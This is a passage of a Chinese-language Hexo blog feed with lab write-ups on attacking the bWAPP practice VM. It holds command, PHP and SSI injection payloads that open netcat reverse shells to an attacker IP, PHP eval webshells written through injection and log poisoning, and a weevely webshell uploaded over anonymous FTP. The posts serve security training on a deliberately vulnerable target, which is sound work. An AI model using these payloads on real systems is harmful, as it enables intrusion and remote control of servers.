Settings</h2><p>应该也是环境没有搭建好,懒得搞。</p><h2 id="OS-Command-Injection"><a href="#OS-Command-Injection" class="headerlink" title="OS Command Injection"></a>OS Command Injection</h2><p>在low级别下:直接进行命令执行没有任何过滤。</p><p><a href="http://www.baidu.com&&net" target="_blank" rel="noopener">www.baidu.com&&net</a> user</p><p><a href="http://www.baidu.com&&ifconfig" target="_blank" rel="noopener">www.baidu.com&&ifconfig</a></p><p><a href="http://www.baidu.com&&ls" target="_blank" rel="noopener">www.baidu.com&&ls</a></p><p>对&&符,|符,&符号的一些解释。</p><p>command1 && command2 先执行command1后执行command2<br>command1 | command2 只执行command2<br>command1 & command2 先执行command2后执行command1</p><p>Command 1&&Command 2<br>先执行Command 1,执行成功后执行Command 2,否则不执行Command 2</p><p>Command 1&Command 2<br>先执行Command 1,不管是否成功,都会执行Command 2</p><p>一般像这种的命令执行就直接反弹shell了,反弹方法如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">在浏览器输入框输入</span><br><span class="line">www.baidu.com|nc 192.168.174.133 1818 -e /bin/bash</span><br><span class="line">在自己的kali上进行监听</span><br><span class="line">nc -lp 1818 -v</span><br><span class="line">python -c "import pty;pty.spawn('/bin/bash')"</span><br></pre></td></tr></table></figure><p><img src="https://i.loli.net/2018/10/23/5bceb7091fbae.png" alt="1"></p><p>在medium级别下:</p><p>对&&符和分号;进行了过滤,但是并没有对管道符进行过滤,照样绕过。</p><p>127.0.0.1|ls</p><p>下面就不使用上述的方法反弹shell了,使用kali自带的一种工具commix进行命令注入,使用方法和sqlmap类型,使用方法如下:</p><p>commix -u “<a href="http://192.168.174.130/bWAPP/commandi.php"" target="_blank" rel="noopener">http://192.168.174.130/bWAPP/commandi.php"</a> –data=”target=127.0.0.1&form=submit” –cookie=”security_level=1; PHPSESSID=8df91cf7aabc31f6a57a52246338a94c”</p><p>成功拿到shell。</p><p><img src="https://i.loli.net/2018/10/23/5bcebd99c84b5.png" alt="1"></p><p><img src="https://i.loli.net/2018/10/23/5bcebe1a49666.png" alt="123"></p><p>在high级别下,继续使用commix发现也出了shell但是其实是没法执行命令的,个人认为是commix的缓存作用,sqlmap也遇到过类似的情况。</p><p>commix一用就上瘾了啊。</p><h2 id="OS-Command-Injection-Blind"><a href="#OS-Command-Injection-Blind" class="headerlink" title="OS Command Injection - Blind"></a>OS Command Injection - Blind</h2><p>在low级别下,直接反弹shell吧。首先在自己的kali上使用nc -lvp 4445对4445端口进行监听,后在输入框输入如下命令:点击ping</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">192.168.174.133 && nc 192.168.174.133 4445 -e /bin/bash</span><br></pre></td></tr></table></figure><p>成功拿到shell</p><p><img src="https://i.loli.net/2018/10/25/5bd16c2ca1d21.png" alt="volcano18"></p><p>在medium级别下,照样反弹shell。</p><p>输入命令后点击ping</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">192.168.174.133 | nc 192.168.174.133 4446 -e /bin/bash</span><br></pre></td></tr></table></figure><p>成功拿到shell</p><p><img src="https://i.loli.net/2018/10/25/5bd16c2ca1d21.png" alt="volcano18"></p><p>在high级别下没有注入成功。</p><p>送上一篇有关os命令注入的文章:</p><p><a href="http://thehackpot.blogspot.com/2014/05/blind-os-command-injection-attacks.html" target="_blank" rel="noopener">http://thehackpot.blogspot.com/2014/05/blind-os-command-injection-attacks.html</a></p><h2 id="PHP-Code-Injection"><a href="#PHP-Code-Injection" class="headerlink" title="PHP Code Injection"></a>PHP Code Injection</h2><p>在url后面直接加上</p><p>?message=id</p><p>即将url设置为:<a href="http://192.168.174.130/bWAPP/phpi.php?message=pwd发现直接返回了pwd" target="_blank" rel="noopener">http://192.168.174.130/bWAPP/phpi.php?message=pwd发现直接返回了pwd</a></p><p>于是将message的值设置为:message=pwd;system(pwd)发现命令pwd被执行了,执行结果如下:</p><p><img src="https://i.loli.net/2018/10/24/5bd05fefd440b.png" alt="3"></p><p>于是立刻进行写马,然后使用菜刀直接连接,竟然真的连接上了,开心。</p><p>fputs(fopen(‘1.php’,’w+’),’<?php @eval(\$_POST[volcano18])?>’)</p><p><img src="https://i.loli.net/2018/10/23/5bcec73ad400c.png" alt="volcano18"></p><p>既然系统命令都可以直接执行了,那么在这里也可以反弹shell,将message的值设置为test;system(‘nc 192.168.174.133 7777 -e /bin/bash’)</p><p>在kali上对7890端口进行监听</p><p>nc -lvp 7777</p><p>成功反弹shell</p><p><img src="https://i.loli.net/2018/10/24/5bd063dbbb2bb.png" alt="1540383037973"></p><p>emmmm,每次反弹shell时,靶机就变卡了,可怕。</p><p>在medium下和high级别下使用的htmlspecialchars()函数进行了过滤,没法注入,其实个人很是不喜欢bwapp,因为他总是喜欢将中级和高级的难度设置成一样的,搞得我每次都在中级停留好久。</p><p>过滤代码如下:</p><p><img src="https://i.loli.net/2018/10/24/5bd0680a86054.png" alt="18"></p><p>推荐一篇关于php code injection的文章:<a href="http://www.polaris-lab.com/index.php/archives/254/" target="_blank" rel="noopener">http://www.polaris-lab.com/index.php/archives/254/</a></p><h2 id="Server-Side-Includes-SSI-Injection-服务器端包含注入"><a href="#Server-Side-Includes-SSI-Injection-服务器端包含注入" class="headerlink" title="Server-Side Includes (SSI) Injection(服务器端包含注入)"></a>Server-Side Includes (SSI) Injection(服务器端包含注入)</h2><p>也就是通过在输入框通过包含一些命令,使服务端执行啦</p><p>比如:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><!--#exec cmd = "id"--></span><br><span class="line">拿shell吧:</span><br><span class="line"><!--#exec cmd = "nc 192.168.174.133 1818 -e /bin/bash"--></span><br></pre></td></tr></table></figure><p><img src="https://i.loli.net/2018/10/25/5bd1730d526f7.png" alt="volcano18"></p><p>由于本人并没有做过web开发,所以自然对ssl并不是很了解,其实个人理解也就是通过一定的方式,比如包含,使服务端执行我们自定义的命令罢了。今年干一年web开发,日后会进行补充。下面找到一篇有关ssl注入的文章:</p><p><a href="https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection" target="_blank" rel="noopener">https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection</a></p><h2 id="bwapp日志写马拿shell"><a href="#bwapp日志写马拿shell" class="headerlink" title="bwapp日志写马拿shell"></a>bwapp日志写马拿shell</h2><p>找到bwapp靶机中的日志目录为:</p><p><a href="http://192.168.174.130/var/log/apache2/access.log" target="_blank" rel="noopener">http://192.168.174.130/var/log/apache2/access.log</a></p><p>直接写木马了:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">192.168.174.130/<?php @eval($_POST[volcano18]);?></span><br></pre></td></tr></table></figure><p>虽然有报错目录不存在,但是这个报错也被记录在了bwapp靶机的错误日志目录中,好了,直接用菜刀连接吧,</p><p><img src="https://i.loli.net/2018/10/24/5bd069d01db9c.png" alt="6"></p><p>直接就连接上了:</p><p><img src="https://i.loli.net/2018/10/24/5bd06a6608a03.png" alt="7"></p>]]></content>
<summary type="html">
<h1 id="bwapp玩法总结之一"><a href="#bwapp玩法总结之一" class="headerlink" title="bwapp玩法总结之一"></a>bwapp玩法总结之一</h1><h2 id="html-injection-Reflected-GET-
</summary>
<category term="bwapp" scheme="http://yoursite.com/categories/bwapp/"/>
<category term="bwapp玩法" scheme="http://yoursite.com/tags/bwapp%E7%8E%A9%E6%B3%95/"/>
<category term="bwapp靶机" scheme="http://yoursite.com/tags/bwapp%E9%9D%B6%E6%9C%BA/"/>
<category term="web安全" scheme="http://yoursite.com/tags/web%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>bwapp不一样的玩法</title>
<link href="http://yoursite.com/2018/10/14/bwapp%E4%B8%8D%E4%B8%80%E6%A0%B7%E7%9A%84%E7%8E%A9%E6%B3%95/"/>
<id>http://yoursite.com/2018/10/14/bwapp不一样的玩法/</id>
<published>2018-10-14T03:48:09.381Z</published>
<updated>2018-10-14T03:50:12.600Z</updated>
<content type="html"><![CDATA[<h1 id="bwapp不一样的玩法"><a href="#bwapp不一样的玩法" class="headerlink" title="bwapp不一样的玩法"></a>bwapp不一样的玩法</h1><p>首先需要下载bwapp虚拟机镜像,下载完成后可以直接使用虚拟机打开。</p><p>下载地址:<a href="https://sourceforge.net/projects/bwapp/files/bee-box/" target="_blank" rel="noopener">https://sourceforge.net/projects/bwapp/files/bee-box/</a> 下载的是1.2G的,bee-box_v1.6.7z,而不是下载15.1MB的。</p><p>打开虚拟机后,首先双击bWAPP-Install后,安装提示进行安装。然后双击bWAPP-Start进行运行bwapp,打开终端,输入ifconfig命令查看靶机ip。</p><p><img src="https://i.loli.net/2018/10/09/5bbc6581c0c55.png" alt="refreshing18"></p><p>然后再kali虚拟机中使用nmap对该ip进行端口扫描,扫描结果如下:</p><p>nmap -p1-65535 -sS -sV -T4 192.168.174.130</p><p><img src="https://i.loli.net/2018/10/09/5bbc664f0c11b.png" alt="refreshing18"></p><p>发现ftp端口开放,检查是否可以匿名登录:</p><p>nmap -p21 192.168.174.130 –script /usr/share/nmap/scripts/ftp-anon.nse</p><p><img src="https://i.loli.net/2018/10/09/5bbc680cea70c.png" alt="3"></p><p>检查结果指示允许匿名登录,于是便登录进去。</p><p>ftp 192.168.174.130 用户名为anonymous,密码为空。登录成功。</p><p><img src="https://i.loli.net/2018/10/09/5bbc68e4deb1a.png" alt="refreshing18"></p><p>于是再想,能不能上传木马,拿shell。</p><p>便在kali中使用weevely生成shell1.php木马,并且将其上传到bwapp服务器上。</p><p>weevely生成木马的命令:其中password为密码可以更改,shell1.php问所生成木马的名称,默认生成的木马在目录/usr/share/weevely/下</p><p>weevely generate password shell1.php</p><p>再将木马复制到root目录下:cp shell1.php /root/shell1.php</p><p>然后再使用ftp服务将该木马上传:</p><p>首先需要采用上述方法,连接上bwapp靶机的ftp服务,然后使用命令put shell1.php进行上传。</p><p><img src="https://i.loli.net/2018/10/09/5bbc6bb88cdff.png" alt="refreshing18"></p><p>文件上传成功,使用命令ls,进一步确认是否上传成功。</p><p><img src="https://i.loli.net/2018/10/09/5bbc6c3508074.png" alt="refreshing18"></p><p>观察到shell1.php文件,确认上传成功。</p><p>但是问题来了,文件上传成功后,上传到了bwapp服务器上的哪里呢?</p><p>dirbuster此时就派上用场了,直接在kali中输入命令dirbuster即可启动该扫描器,个人建议使用dirbuster自带字典,自带字典目录如下:./.ZAP/fuzzers/dirbuster 也可以使用命令find -name dirbuster进行查找,最后启动dirbuster对目录进行扫描。</p><p>dirbuster的使用方法可以参考:<a href="https://www.cnblogs.com/anka9080/p/mlsm.html" target="_blank" rel="noopener">https://www.cnblogs.com/anka9080/p/mlsm.html</a></p><p>扫描结果发现了我们上传的shell1.php文件在目录/webdav/shell1.php下。</p><p><img src="https://i.loli.net/2018/10/09/5bbc6e859c38c.png" alt="refreshing18"></p><p>既然发现了目录,那就使用weevely直接拿下shell吧。</p><p>使用命令:weevely <a href="http://192.168.174.130/webdav/shell1.php" target="_blank" rel="noopener">http://192.168.174.130/webdav/shell1.php</a> password</p><p>成功拿下shell,如图:</p><p><img src="https://i.loli.net/2018/10/09/5bbc6f09c88b0.png" alt="refreshing18"></p><p><img src="https://i.loli.net/2018/10/09/5bbc6f5e5b3ac.png" alt="refreshing18"></p>]]></content>
<summary type="html">
<h1 id="bwapp不一样的玩法"><a href="#bwapp不一样的玩法" class="headerlink" title="bwapp不一样的玩法"></a>bwapp不一样的玩法</h1><p>首先需要下载bwapp虚拟机镜像,下载完成后可以直接使用虚拟机打开。
</summary>
<category term="靶机" scheme="http://yoursite.com/categories/%E9%9D%B6%E6%9C%BA/"/>
<category term="bwapp玩法" scheme="http://yoursite.com/tags/bwapp%E7%8E%A9%E6%B3%95/"/>
<category term="bwapp靶机" scheme="http://yoursite.com/tags/bwapp%E9%9D%B6%E6%9C%BA/"/>
<category term="web安全" scheme="http://yoursite.com/tags/web%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>readme</title>
<link href="http://yoursite.com/2018/10/13/hello-world/"/>
<id>http://yoursite.com/2018/10/13/hello-world/</id>
<published>2018-10-12T16:01:25.586Z</published>
<updated>2018-10-20T12:37:31.141Z</updated>
<content type="html"><![CDATA[<p>Welcome to <a href="https://hexo.io/" target="_blank" rel="noopener">Hexo</a>! This is your very first post. Check <a href="https://hexo.io/docs/" target="_blank" rel="noopener">documentation</a> for more info. If you get any problems when using Hexo, you can find the answer in <a href="https://hexo.io/docs/troubleshooting.html" target="_blank" rel="noopener">troubleshooting</a> or you can ask me on <a href="https://github.com/hexojs/hexo/issues" target="_blank" rel="noopener">GitHub</a>.</p><h2 id="Quick-Start"><a href="#Quick-Start" class="headerlink" title="Quick Start"></a>Quick Start</h2><h3 id="Create-a-new-post"><a href="#Create-a-new-post" class="headerlink" title="Create a new post"></a>Create a new post</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo new <span class="string">"My New Post"</span></span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/writing.html" target="_blank" rel="noopener">Writing</a></p><h3 id="Run-server"><a href="#Run-server" class="headerlink" title="Run server"></a>Run server</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo server</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/server.html" target="_blank" rel="noopener">Server</a></p><h3 id="Generate-static-files"><a href="#Generate-static-files" class="headerlink" title="Generate static files"></a>Generate static files</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo generate</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/generating.html" target="_blank" rel="noopener">Generating</a></p><h3 id="Deploy-to-remote-sites"><a href="#Deploy-to-remote-sites" class="headerlink" title="Deploy to remote sites"></a>Deploy to remote sites</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo deploy</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/deployment.html" target="_blank" rel="noopener">Deployment</a></p>]]></content>
<summary type="html">
<p>Welcome to <a href="https://hexo.io/" target="_blank" rel="noopener">Hexo</a>! This is your very first post. Check <a href="https://hexo.
</summary>
<category term="readme" scheme="http://yoursite.com/categories/readme/"/>
<category term="readme" scheme="http://yoursite.com/tags/readme/"/>
</entry>
</feed>